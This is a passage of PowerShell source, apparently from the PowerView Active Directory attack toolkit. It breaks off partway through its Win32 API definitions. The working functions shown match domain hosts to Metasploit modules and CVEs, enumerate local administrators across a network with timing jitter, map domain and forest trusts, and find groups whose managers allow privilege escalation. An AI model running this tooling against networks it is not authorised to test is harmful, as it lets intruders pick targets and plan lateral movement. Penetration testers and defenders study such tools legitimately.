    $Null = $TableVulnComputers.Columns.Add('LastLogon')
    $Null = $TableVulnComputers.Columns.Add('MsfModule')
    $Null = $TableVulnComputers.Columns.Add('CVE')

    # Iterate through each exploit
    $TableExploits | ForEach-Object {
                 
        $ExploitOS = $_.OperatingSystem
        $ExploitSP = $_.ServicePack
        $ExploitMsf = $_.MsfModule
        $ExploitCVE = $_.CVE

        # Iterate through each ADS computer
        $TableAdsComputers | ForEach-Object {
            
            $AdsHostname = $_.Hostname
            $AdsOS = $_.OperatingSystem
            $AdsSP = $_.ServicePack                                                        
            $AdsLast = $_.LastLogon
            
            # Add exploitable systems to vul computers data table
            if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) {                    
                # Add domain computer to data table                    
                $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)
            }
        }
    }
    
    # Display results
    $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object
    $VulnComputerCount = $VulnComputer.Count

    if ($VulnComputer.Count -gt 0) {
        # Return vulnerable server list order with some hack date casting
        Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"
        $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending
    }
    else {
        Write-Verbose "[-] No vulnerable systems were found."
    }
}


function Invoke-EnumerateLocalAdmin {
<#
    .SYNOPSIS

        This function queries the domain for all active machines with
        Get-NetComputer, then for each server it queries the local
        Administrators with Get-NetLocalGroup.

        Author: @harmj0y
        License: BSD 3-Clause

    .PARAMETER ComputerName

        Host array to enumerate, passable on the pipeline.

    .PARAMETER ComputerFile

        File of hostnames/IPs to search.

    .PARAMETER ComputerFilter

        Host filter name to query AD for, wildcards accepted.

    .PARAMETER ComputerADSpath

        The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
        Useful for OU queries.

    .PARAMETER NoPing

        Switch. Don't ping each host to ensure it's up before enumerating.

    .PARAMETER Delay

        Delay between enumerating hosts, defaults to 0

    .PARAMETER Jitter

        Jitter for the host delay, defaults to +/- 0.3

    .PARAMETER OutFile

        Output results to a specified csv output file.

    .PARAMETER NoClobber

        Switch. Don't overwrite any existing output file.

    .PARAMETER TrustGroups

        Switch. Only return results that are not part of the local machine
        or the machine's domain. Old Invoke-EnumerateLocalTrustGroup
        functionality.
    
    .PARAMETER DomainOnly

        Switch. Only return domain (non-local) results  

    .PARAMETER Domain

        Domain to query for machines, defaults to the current domain.
    
    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER SearchForest

        Switch. Search all domains in the forest for target users instead of just
        a single domain.

    .PARAMETER API

        Switch. Use API calls instead of the WinNT service provider. Less information,
        but the results are faster.

    .PARAMETER Threads

        The maximum concurrent threads to execute.

    .EXAMPLE

        PS C:\> Invoke-EnumerateLocalAdmin

        Enumerates the members of local administrators for all machines
        in the current domain.

    .EXAMPLE

        PS C:\> Invoke-EnumerateLocalAdmin -Threads 10

        Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded

    .LINK

        http://blog.harmj0y.net/
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [Switch]
        $NoPing,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $OutFile,

        [Switch]
        $NoClobber,

        [Switch]
        $TrustGroups,

        [Switch]
        $DomainOnly,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $SearchForest,

        [ValidateRange(1,100)] 
        [Int]
        $Threads,

        [Switch]
        $API
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        # random object for delay
        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay"

        # if we're using a host list, read the targets in and add them to the target list
        if($ComputerFile) {
            $ComputerName = Get-Content -Path $ComputerFile
        }

        if(!$ComputerName) { 
            [array]$ComputerName = @()

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                # get ALL the domains in the forest to search
                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
            }
            else {
                # use the local domain
                $TargetDomains = @( (Get-NetDomain).name )
            }

            ForEach ($Domain in $TargetDomains) {
                Write-Verbose "[*] Querying domain $Domain for hosts"
                $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController
            }
            
            # remove any null target hosts, uniquify the list and shuffle it
            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.Count) -eq 0) {
                throw "No hosts found!"
            }
        }

        # delete any existing output file if it already exists
        if(!$NoClobber) {
            if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }
        }

        if($TrustGroups) {
            
            Write-Verbose "Determining domain trust groups"

            # find all group names that have one or more users in another domain
            $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique

            $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { 
                # ignore the builtin administrators group for a DC (S-1-5-32-544)
                # TODO: ignore all default built in sids?
                Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid }
            }

            # query for the primary domain controller so we can extract the domain SID for filtering
            $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
        }

        # script block that enumerates a server
        $HostEnumBlock = {
            param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)

            # optionally check if the server is up first
            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                # grab the users for the local admins on this server
                if($API) {
                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API
                }
                else {
                    $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName
                }

                # if we just want to return cross-trust users
                if($DomainSID) {
                    # get the local machine SID
                    $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$"
                    Write-Verbose "LocalSid for $ComputerName : $LocalSID"
                    # filter out accounts that begin with the machine SID and domain SID
                    #   but preserve any groups that have users across a trust ($TrustGroupSIDS)
                    $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) }
                }

                if($DomainOnly) {
                    $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain}
                }

                if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) {
                    # output the results to a csv if specified
                    if($OutFile) {
                        $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile
                    }
                    else {
                        # otherwise return the user objects
                        $LocalAdmins
                    }
                }
                else {
                    Write-Verbose "[!] No users returned from $ComputerName"
                }
            }
        }
    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            # if we're using threading, kick off the script block with Invoke-ThreadedFunction
            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'OutFile' = $OutFile
                'DomainSID' = $DomainSID
                'TrustGroupsSIDs' = $TrustGroupsSIDs
            }

            # kick off the threaded script block + arguments
            if($API) {
                $ScriptParams['API'] = $True
            }

            if($DomainOnly) {
                $ScriptParams['DomainOnly'] = $True
            }
         
            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                # ping all hosts in parallel
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                # sleep for our semi-randomized interval
                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
                Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

                $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly)

                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs
            }
        }
    }
}


########################################################
#
# Domain trust functions below.
#
########################################################

function Get-NetDomainTrust {
<#
    .SYNOPSIS

        Return all domain trusts for the current domain or
        a specified domain.

    .PARAMETER Domain

        The domain whose trusts to enumerate, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER ADSpath

        The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local".
        Useful for global catalog queries ;)

    .PARAMETER API

        Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.

    .PARAMETER LDAP

        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. 
        More likely to get around network segmentation, but not as accurate.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .EXAMPLE

        PS C:\> Get-NetDomainTrust

        Return domain trusts for the current domain using built in .NET methods.

    .EXAMPLE

        PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"

        Return domain trusts for the "prod.testlab.local" domain using .NET methods

    .EXAMPLE

        PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"

        Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
        queries, reflecting queries through the "Primary.testlab.local" domain controller,
        using .NET methods.

    .EXAMPLE

        PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"

        Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.

    .EXAMPLE

        PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local

        Return domain trusts reachable from the WINDOWS2 machine through API calls.
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0, ValueFromPipeline=$True)]
        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $API,

        [Switch]
        $LDAP,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    begin {
        $TrustAttributes = @{
            [uint32]'0x00000001' = 'non_transitive'
            [uint32]'0x00000002' = 'uplevel_only'
            [uint32]'0x00000004' = 'quarantined_domain'
            [uint32]'0x00000008' = 'forest_transitive'
            [uint32]'0x00000010' = 'cross_organization'
            [uint32]'0x00000020' = 'within_forest'
            [uint32]'0x00000040' = 'treat_as_external'
            [uint32]'0x00000080' = 'trust_uses_rc4_encryption'
            [uint32]'0x00000100' = 'trust_uses_aes_keys'
            [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation'
            [uint32]'0x00000400' = 'pim_trust'
        }
    }

    process {

        if(-not $Domain) {
            # if not domain is specified grab the current domain
            $SourceDomain = (Get-NetDomain -Credential $Credential).Name
        }
        else {
            $SourceDomain = $Domain
        }

        if($LDAP -or $ADSPath) {

            $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath

            $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController

            if($TrustSearcher) {

                $TrustSearcher.Filter = '(objectClass=trustedDomain)'

                $Results = $TrustSearcher.FindAll()
                $Results | Where-Object {$_} | ForEach-Object {
                    $Props = $_.Properties
                    $DomainTrust = New-Object PSObject
                    
                    $TrustAttrib = @()
                    $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }

                    $Direction = Switch ($Props.trustdirection) {
                        0 { 'Disabled' }
                        1 { 'Inbound' }
                        2 { 'Outbound' }
                        3 { 'Bidirectional' }
                    }
                    $ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
                    $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
                    $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
                    $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
                    $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
                    $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
                    $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
                    $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',')
                    $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
                    $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP')
                    $DomainTrust
                }
                $Results.dispose()
                $TrustSearcher.dispose()
            }
        }
        elseif($API) {
            if(-not $DomainController) {
                $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name
            }

            if($DomainController) {
                # arguments for DsEnumerateDomainTrusts
                $PtrInfo = [IntPtr]::Zero

                # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
                $Flags = 63
                $DomainCount = 0

                # get the trust information from the target server
                $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)

                # Locate the offset of the initial intPtr
                $Offset = $PtrInfo.ToInt64()

                # 0 = success
                if (($Result -eq 0) -and ($Offset -gt 0)) {

                    # Work out how much to increment the pointer by finding out the size of the structure
                    $Increment = $DS_DOMAIN_TRUSTS::GetSize()

                    # parse all the result structures
                    for ($i = 0; ($i -lt $DomainCount); $i++) {
                        # create a new int ptr at the given offset and cast the pointer as our result structure
                        $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
                        $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS

                        $Offset = $NewIntPtr.ToInt64()
                        $Offset += $Increment

                        $SidString = ""
                        $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()

                        if($Result -eq 0) {
                            Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
                        }
                        else {
                            $DomainTrust = New-Object PSObject
                            $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain
                            $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
                            $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
                            $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
                            $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
                            $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
                            $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
                            $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
                            $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
                            $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
                            $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
                            $DomainTrust
                        }
                    }
                    # free up the result buffer
                    $Null = $Netapi32::NetApiBufferFree($PtrInfo)
                }
                else {
                    Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
                }
            }
            else {
                Write-Verbose "Could not retrieve domain controller for $Domain"
            }
        }
        else {
            # if we're using direct domain connections through .NET
            $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
            if($FoundDomain) {
                $FoundDomain.GetAllTrustRelationships() | ForEach-Object {
                    $_.PSObject.TypeNames.Add('PowerView.DomainTrust')
                    $_
                }
            }
        }
    }
}


function Get-NetForestTrust {
<#
    .SYNOPSIS

        Return all trusts for the current forest.

    .PARAMETER Forest

        Return trusts for the specified forest.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Get-NetForestTrust

        Return current forest trusts.

    .EXAMPLE

        PS C:\> Get-NetForestTrust -Forest "test"

        Return trusts for the "test" forest.
#>

    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [String]
        $Forest,

        [Management.Automation.PSCredential]
        $Credential
    )

    process {
        $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential

        if($FoundForest) {
            $FoundForest.GetAllTrustRelationships() | ForEach-Object {
                $_.PSObject.TypeNames.Add('PowerView.ForestTrust')
                $_
            }
        }
    }
}


function Find-ForeignUser {
<#
    .SYNOPSIS

        Enumerates users who are in groups outside of their
        principal domain. The -Recurse option will try to map all 
        transitive domain trust relationships and enumerate all 
        users who are in groups outside of their principal domain.

    .PARAMETER UserName

        Username to filter results for, wildcards accepted.

    .PARAMETER Domain

        Domain to query for users, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER LDAP

        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
        More likely to get around network segmentation, but not as accurate.

    .PARAMETER Recurse

        Switch. Enumerate all user trust groups from all reachable domains recursively.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .LINK

        http://blog.harmj0y.net/
#>

    [CmdletBinding()]
    param(
        [String]
        $UserName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $LDAP,

        [Switch]
        $Recurse,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    function Get-ForeignUser {
        # helper used to enumerate users who are in groups outside of their principal domain
        param(
            [String]
            $UserName,

            [String]
            $Domain,

            [String]
            $DomainController,

            [ValidateRange(1,10000)] 
            [Int]
            $PageSize = 200
        )

        if ($Domain) {
            # get the domain name into distinguished form
            $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
        }
        else {
            $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
            $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
        }

        Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
            ForEach ($Membership in $_.memberof) {
                $Index = $Membership.IndexOf("DC=")
                if($Index) {
                    
                    $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
                    
                    if ($GroupDomain.CompareTo($Domain)) {
                        # if the group domain doesn't match the user domain, output
                        $GroupName = $Membership.split(",")[0].split("=")[1]
                        $ForeignUser = New-Object PSObject
                        $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
                        $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
                        $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
                        $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
                        $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
                        $ForeignUser
                    }
                }
            }
        }
    }

    if ($Recurse) {
        # get all rechable domains in the trust mesh and uniquify them
        if($LDAP -or $DomainController) {
            $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
        }
        else {
            $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
        }

        ForEach($DomainTrust in $DomainTrusts) {
            # get the trust groups for each domain in the trust mesh
            Write-Verbose "Enumerating trust groups in domain $DomainTrust"
            Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
        }
    }
    else {
        Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
    }
}


function Find-ForeignGroup {
<#
    .SYNOPSIS

        Enumerates all the members of a given domain's groups
        and finds users that are not in the queried domain.
        The -Recurse flag will perform this enumeration for all
        eachable domain trusts.

    .PARAMETER GroupName

        Groupname to filter results for, wildcards accepted.

    .PARAMETER Domain

        Domain to query for groups, defaults to the current domain.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER LDAP

        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
        More likely to get around network segmentation, but not as accurate.

    .PARAMETER Recurse

        Switch. Enumerate all group trust users from all reachable domains recursively.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .LINK

        http://blog.harmj0y.net/
#>

    [CmdletBinding()]
    param(
        [String]
        $GroupName = '*',

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $LDAP,

        [Switch]
        $Recurse,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200
    )

    function Get-ForeignGroup {
        param(
            [String]
            $GroupName = '*',

            [String]
            $Domain,

            [String]
            $DomainController,

            [ValidateRange(1,10000)] 
            [Int]
            $PageSize = 200
        )

        if(-not $Domain) {
            $Domain = (Get-NetDomain).Name
        }

        $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
        Write-Verbose "DomainDN: $DomainDN"

        # standard group names to ignore
        $ExcludeGroups = @("Users", "Domain Users", "Guests")

        # get all the groupnames for the given domain
        Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
            # exclude common large groups
            -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
                
                $GroupName = $_.samAccountName

                $_.member | ForEach-Object {
                    # filter for foreign SIDs in the cn field for users in another domain,
                    #   or if the DN doesn't end with the proper DN for the queried domain  
                    if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {

                        $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
                        $UserName = $_.split(",")[0].split("=")[1]

                        $ForeignGroupUser = New-Object PSObject
                        $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
                        $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
                        $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
                        $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
                        $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
                        $ForeignGroupUser
                    }
                }
        }
    }

    if ($Recurse) {
        # get all rechable domains in the trust mesh and uniquify them
        if($LDAP -or $DomainController) {
            $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
        }
        else {
            $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
        }

        ForEach($DomainTrust in $DomainTrusts) {
            # get the trust groups for each domain in the trust mesh
            Write-Verbose "Enumerating trust groups in domain $DomainTrust"
            Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
        }
    }
    else {
        Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
    }
}


function Find-ManagedSecurityGroups {
<#
    .SYNOPSIS

        This function retrieves all security groups in the domain and identifies ones that
        have a manager set. It also determines whether the manager has the ability to add
        or remove members from the group.

        Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>
        License: BSD 3-Clause

    .EXAMPLE

        PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv

        Store a list of all security groups with managers in group-managers.csv

    .DESCRIPTION

        Authority to manipulate the group membership of AD security groups and distribution groups 
        can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
        used to delegate management authority to distribution groups, but Windows supports security groups
        being managed in the same way.

        This function searches for AD groups which have a group manager set, and determines whether that
        user can manipulate group membership. This could be a useful method of horizontal privilege
        escalation, especially if the manager can manipulate the membership of a privileged group.

    .LINK

        https://github.com/PowerShellEmpire/Empire/pull/119

#>

    # Go through the list of security groups on the domain and identify those who have a manager
    Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {

        # Retrieve the object that the managedBy DN refers to
        $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname

        # Create a results object to store our findings
        $results_object = New-Object -TypeName PSObject -Property @{
            'GroupCN' = $_.cn
            'GroupDN' = $_.distinguishedname
            'ManagerCN' = $group_manager.cn
            'ManagerDN' = $group_manager.distinguishedName
            'ManagerSAN' = $group_manager.samaccountname
            'ManagerType' = ''
            'CanManagerWrite' = $FALSE
        }

        # Determine whether the manager is a user or a group
        if ($group_manager.samaccounttype -eq 0x10000000) {
            $results_object.ManagerType = 'Group'
        } elseif ($group_manager.samaccounttype -eq 0x30000000) {
            $results_object.ManagerType = 'User'
        }

        # Find the ACLs that relate to the ability to write to the group
        $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers

        # Double-check that the manager
        if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
            $results_object.CanManagerWrite = $TRUE
        }
        $results_object
    }
}


function Invoke-MapDomainTrust {
<#
    .SYNOPSIS

        This function gets all trusts for the current domain,
        and tries to get all trusts for each domain it finds.

    .PARAMETER LDAP

        Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
        More likely to get around network segmentation, but not as accurate.

    .PARAMETER DomainController

        Domain controller to reflect LDAP queries through.

    .PARAMETER PageSize

        The PageSize to set for the LDAP searcher object.

    .PARAMETER Credential

        A [Management.Automation.PSCredential] object of alternate credentials
        for connection to the target domain.

    .EXAMPLE

        PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
        
        Map all reachable domain trusts and output everything to a .csv file.

    .LINK

        http://blog.harmj0y.net/
#>
    [CmdletBinding()]
    param(
        [Switch]
        $LDAP,

        [String]
        $DomainController,

        [ValidateRange(1,10000)] 
        [Int]
        $PageSize = 200,

        [Management.Automation.PSCredential]
        $Credential
    )

    # keep track of domains seen so we don't hit infinite recursion
    $SeenDomains = @{}

    # our domain status tracker
    $Domains = New-Object System.Collections.Stack

    # get the current domain and push it onto the stack
    $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
    $Domains.push($CurrentDomain)

    while($Domains.Count -ne 0) {

        $Domain = $Domains.Pop()

        # if we haven't seen this domain before
        if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
            
            Write-Verbose "Enumerating trusts for domain '$Domain'"

            # mark it as seen in our list
            $Null = $SeenDomains.add($Domain, "")

            try {
                # get all the trusts for this domain
                if($LDAP -or $DomainController) {
                    $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
                }
                else {
                    $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
                }

                if($Trusts -isnot [System.Array]) {
                    $Trusts = @($Trusts)
                }

                # get any forest trusts, if they exist
                if(-not ($LDAP -or $DomainController) ) {
                    $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
                }

                if ($Trusts) {
                    if($Trusts -isnot [System.Array]) {
                        $Trusts = @($Trusts)
                    }

                    # enumerate each trust found
                    ForEach ($Trust in $Trusts) {
                        if($Trust.SourceName -and $Trust.TargetName) {
                            $SourceDomain = $Trust.SourceName
                            $TargetDomain = $Trust.TargetName
                            $TrustType = $Trust.TrustType
                            $TrustDirection = $Trust.TrustDirection
                            $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1

                            # make sure we process the target
                            $Null = $Domains.Push($TargetDomain)

                            # build the nicely-parsable custom output object
                            $DomainTrust = New-Object PSObject
                            $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
                            $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
                            $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
                            $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
                            $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
                            $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
                            $DomainTrust.PSObject.TypeNames.Add($ObjectType)
                            $DomainTrust
                        }
                    }
                }
            }
            catch {
                Write-Verbose "[!] Error: $_"
            }
        }
    }
}


########################################################
#
# Expose the Win32API functions and datastructures below
# using PSReflect. 
# Warning: Once these are executed, they are baked in 
# and can't be changed while the script is running!
#
########################################################

$Mod = New-InMemoryModule -ModuleName Win32

# all of the Win32 API functions we need
$FunctionDefinitions = @(
    (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
    (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
